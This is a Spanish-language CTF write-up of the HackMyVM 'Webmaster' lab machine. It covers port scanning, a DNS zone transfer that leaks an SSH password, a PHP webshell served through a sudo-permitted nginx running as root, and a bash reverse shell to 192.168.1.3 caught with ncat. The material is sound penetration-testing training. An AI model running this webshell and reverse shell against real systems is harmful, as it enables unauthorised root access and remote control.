cd ~/blog

~/writeups/hmv/092-webmaster.md

092 - Webmaster

easy Linux hmv 02-05-2024
DNS Zone Transfer (AXFR TXT password)sudo nginx config RCE
hackmyvm.eu/machines/machine.php?vm=Webmaster

~1 min de lectura


Enumeramos puertos:

 sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.131
 nmap -sCV -p22,53,80 -oN 02-targeted.txt 192.168.1.131
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-02 22:38 -04
Nmap scan report for 192.168.1.131
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
53/tcp open  domain  (unknown banner: not currently available)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.38 seconds

El meme del sitio indica que la contraseña está en un registro TXT, y el código revela el dominio:

<!--webmaster.hmv-->

Lo agregamos al /etc/hosts y solicitamos una transferencia de zona con dig, que filtra una contraseña en un registro TXT:

 dig axfr @192.168.1.131 webmaster.hmv
...
john.webmaster.hmv.	604800	IN	TXT	"Myhiddenpazzword"
...

Nos conectamos por SSH como john:

 ssh john@192.168.1.131
john@192.168.1.131's password: Myhiddenpazzword
john@webmaster:~$

Obtenemos la primera flag. Revisamos sudo -l:

john@webmaster:~$ sudo -l
...
User john may run the following commands on webmaster:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

Podemos ejecutar nginx como root. Como el DocumentRoot es escribible, colocamos una webshell PHP; al servirse con el nginx que corre como root, obtenemos RCE privilegiado:

john@webmaster:/var/www/html$ cat pwned.php
<?php system($_GET['cmd']);?>

 curl 'http://webmaster.hmv/pwned.php?cmd=id'
uid=0(root) gid=0(root) groups=0(root)

Lanzamos una reverse shell:

webmaster.hmv/pwned.php?cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.3/1234 0>%261"

 ncat -nlvp 1234
Ncat: Connection from 192.168.1.131:49040.
bash: cannot set terminal process group (374): Inappropriate ioctl for device
bash: no job control in this shell
root@webmaster:/var/www/html#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados